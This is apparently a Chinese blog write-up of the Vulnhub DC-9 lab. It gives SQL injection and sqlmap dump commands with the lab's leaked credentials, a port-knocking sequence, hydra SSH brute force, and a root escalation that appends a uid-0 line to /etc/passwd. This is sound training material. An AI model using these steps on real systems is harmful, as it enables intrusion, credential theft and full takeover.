一、环境搭建

选择扫描虚拟机

选择靶机路径

如果出现以下信息

如下修改,修改和虚拟机一样的版本

二、信息收集

扫ip

nmap -sn 192.168.108.0/24

得到靶机ip:192.168.108.143

扫开放端口

nmap -p 1-65535 192.168.108.143

只开放了两个端口

信息如下

22/tcp filtered ssh #filtered是“过滤的”,意味着网络防火墙或其他安全设备正在阻止对该端口的访问,或者没有响应
80/tcp open http

扫版本服务信息

nmap -sV 192.168.108.143

得到以下信息

信息如下

22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian)) #web的Apache服务版本

指纹探测

执行以下命令

nmap 192.168.108.143 -p 22,80 -sV -sC -O --version-all

可用信息:

运行系统:linux 3.x|4.x
操作系统CPE:cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
操作系统内核:linux 3.2-4.9

目录扫描

先用dirsaerch扫描

看看dirb扫描

整理一下可用信息

http://192.168.108.143/config.php      //配置文件
http://192.168.108.143/display.php //副页面
http://192.168.108.143/includes
http://192.168.108.143/logout.php //登出界面
http://192.168.108.143/manage.php //管理界面-登录框
http://192.168.108.143/search.php //搜索界面
http://192.168.108.143/index.php //主界面

三、Web渗透

看看80端口,是如下一个界面

访问这几个页面以及上面扫描出来的目录,只有search和manage界面有可用信息,在manage界面存在一个登录框,尝试弱口令万能密码无果

只能在search界面试试,这里搜索需要使用第二个界面的内容

当我们搜索Tom时,会出现一下信息,应该是调用了数据库信息然后给我们的回显,那么可能存在SQL注入

SQL注入

当我们输入Tom' or '1'='1时,存在sql注入

抓包看看,得到search参数

创建一个DC9.txt,将数据包内容输入进去,然后利用sqlmap跑出数据库

sqlmap -r DC9.txt --dbs

得到3个数据库

这里先看看Staff数据库,拿到两个数据表

看看Users表中的列

看看数据表内容

sqlmap -r DC9.txt -D Staff -T Users --dump

拿到一个管理员账号密码

password 'transorbital1' for user 'admin'

拿到的数据库

数据库:information_schema,Staff,users

看看users库

看看该表的列

看看表中数据

sqlmap -r DC9.txt -D users -T UserDetails --dump

将用户名和密码单独列出来

sqlmap -r DC9.txt -D users -T UserDetails -C username --dump
sqlmap -r DC9.txt -D users -T UserDetails -C password --dump

用户名

marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2

密码

3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0

登录后台

成功登录进去,但是在此处发现一个文件不存在,可能存在文件包含

试试目录遍历,拿到了很多用户名信息

端口敲门服务

参考文章:https://www.cnblogs.com/wsjhk/p/5508051.html

随便拿一个上面爆破出的账号密码登录一下,发现22端口无法正常使用

这里需要了解一个知识点,端口敲门服务

端口敲门(Port Knocking)是一种安全机制,用于在防火墙上动态地打开特定端口,以便允许特定的网络流量通过。这种技术通常用于增强服务器的安全性,特别是在需要远程访问(如 SSH)时。

看看其配置文件,得到敲门序列:sequence = 7469,8475,9842

这里有几种方法,比如使用nc工具一个一个连接,或者下载knock工具,对获取的端口(开门密码)实现碰撞,必须按照序列进行连接

apt install knock
knock 192.168.108.143 7469 8475 9842

然后看看端口开放状态,成功开启端口

ssh爆破

这里需要使用hydra工具

Hydra 是一个非常流行的开源密码破解工具,广泛用于进行暴力破解和字典攻击。它支持多种协议和服务,包括 HTTP, FTP, SSH, Telnet, SMTP, POP3, IMAP 等等。Hydra 的灵活性和强大的功能使其成为渗透测试和安全评估中的重要工具

kali通常是预装的,准备一个用户名表和密码表

利用hydra进行爆破

hydra -L user.txt -P passwd.txt ssh://192.168.108.143

拿到以下信息

login: chandlerb   password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee

四、提权

ssh登录寻找信息

chandlerb

没有什么可用信息

joeyt

也是没什么有用信息

janitor

发现一个目录,里面有一个密码文件

放到原先的密码表,再使用hydra爆破一处,拿到一个新账户

login: fredf   password: B4-Tru3-001

利用新账户登录

发现一个无需root权限可用使用的文件,/opt/devstuff/dist/test

执行该文件,发现如下信息

/opt/devstuff目录下发现test.py

查看该文件

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :         #检查命令行参数数量
print ("Usage: python test.py read append")
sys.exit (1) else :
f = open(sys.argv[1], "r") #将第一个参数可读
output = (f.read()) f = open(sys.argv[2], "a") #将第一个参数的内容追加到第二个参数
f.write(output)
f.close()

这里举个例子,如果我们执行 ./test.py 1.txt 2.txt,那么程序会把1.txt的内容追加到2.txt,因为这个脚本是以root权限运行的,所以我们可以利用它追加账户密码到/etc/passwd

追加账户密码提权

先使用openssl生成一个密码

然后将密码写入一个文件

track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash
echo "track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash" > /tmp/a.txt

将文件写入/etc/passwd

sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd

然后登录即可

sudo track
密码:track

Vulnhub-DC-9靶机-SQL注入拿到账户+利用端口敲门连接ssh+信息泄露利用root脚本追加提权的更多相关文章

  1. 安全测试基础-SQL注入详解

    1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...

  2. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  3. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  4. 防御sql注入

    1. 领域驱动安全 领域驱动安全是一种代码设计方法.其思想是将一个隐式的概念转化为显示,个人认为即是面向对象的方法,将一个概念抽象成一个类,在该类中通过方法对类的属性进行约束.是否是字符串,包含什么字 ...

  5. SQL注入—我是如何一步步攻破一家互联网公司的

    最近在研究Web安全相关的知识,特别是SQL注入类的相关知识.接触了一些与SQL注入相关的工具.周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞.不试不知道,一 ...

  6. SQL注入技术专题—由浅入深【精华聚合】

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...

  7. mysql基础语法及拓展到web中的sql注入

    本来是想写下javaweb的mvc(tomcat, spring, mysql)的搭建,  昨天搭到凌晨3点, 谁知道jdbcTemplate的jar包不好使, 想死的心都有了, 想想还是休息一下, ...

  8. sqlmap查找SQL注入漏洞入门

    1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...

  9. SQL注入攻击

    SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候, ...

  10. SQL注入实验,PHP连接数据库,Mysql查看binlog,PreparedStatement,mysqli, PDO

    看到有人说了判断能否sql注入的方法: 简单的在参数后边加一个单引号,就可以快速判断是否可以进行SQL注入,这个百试百灵,如果有漏洞的话,一般会报错. 下面内容参考了这两篇文章 http://blog ...

随机推荐

  1. 那些年,我们一起追的 WLB

    2019年,那一年,我29岁. 那一年,"996是福报"的言论在网络上引发舆论轩然大波. 那一年,"大小周"."996"."007 ...

  2. 依赖注入在 dotnet core 中实现与使用:5. 使用支持 Unicode 的 HtmlEncoder

    现象 在 ASP.NET Core MVC 中,当在页面中传递了一个包含中文字符串到页面的时候,页面的显示是正常的,但是如果查看页面源码,却看不到中文,变成了一串编码之后的内容. 例如,在页面中直接定 ...

  3. tar 分卷压缩和解压缩

    示例将 jdk1.8.0_221 文件夹按 98m 进行分卷压缩和解压缩压缩: tar -czvf - jdk1.8.0_221/ |split -b 98m - jdk1.8.0_221.tar.g ...

  4. Jenkins入门使用

    Jenkins入门使用 1先安装jdk才能运行jenkins yum install -y java-1.8.0-openjdk.x86_64 2 安装jenkins,运行,进行端口绑定,启动jenk ...

  5. Qt编写视频监控系统71-外网访问摄像头等设备(获取各种信息及拉流)

    一.前言 最近遇到个需求是通过外网接入摄像机或者NVR,通用的做法是将视频流推流到服务器,然后拉取rtmp视频流,这样就多了服务器的要求,而且实现的功能有限比如不能直接用onvif协议对设备获取信息和 ...

  6. 记一次语音合成遇到的坑:PCM音频流转WAV

    需求内容: 预合成音:支持将固定音合成并完成上传操作 解决思路: 调用公有云识别引擎,获取识别引擎合成的音频流, 然后将音频流转成wav文件, 最后将文件上传到oss服务器上. 遇到的问题 问题主要在 ...

  7. Ubuntu系统查看文件夹目录

    方法1: 进入文件夹里面我们可以使用 按下Ctrl + L 可以看到文件的路径了 然后复制即可. 方法2: 可以鼠标右键点击最下面的属性,然后复制位置里面的路径即可

  8. 解决mapper重名问题

    问题 公司有一个集成开发平台,导入数据库表会自动生成实体类.mapper和xml等文件,这是一件很方便的事,可以省去很多没有技术性的重复工作. 但是最近我在使用这个平台的时候遇到了一个问题,那就是ma ...

  9. AI Editor 真的被惊到了

    引言 AI 辅助编程工具层出不穷,也尝试过不少 AI 编程辅助工具,但效果都不太理想,提示的代码命中率并不高,但却严重影响了编码的流畅性,并且聊天对话的时候,多数都需要手动引用代码,即使引用了代码,也 ...

  10. 基于Fluss 的流式湖仓架构

    目录 1. What 2. 架构 2.1 CoordinatorServer 2.2 TabletServer 2.3 LogStore 2.4 KvStore 2.5 Tablet / Bucket ...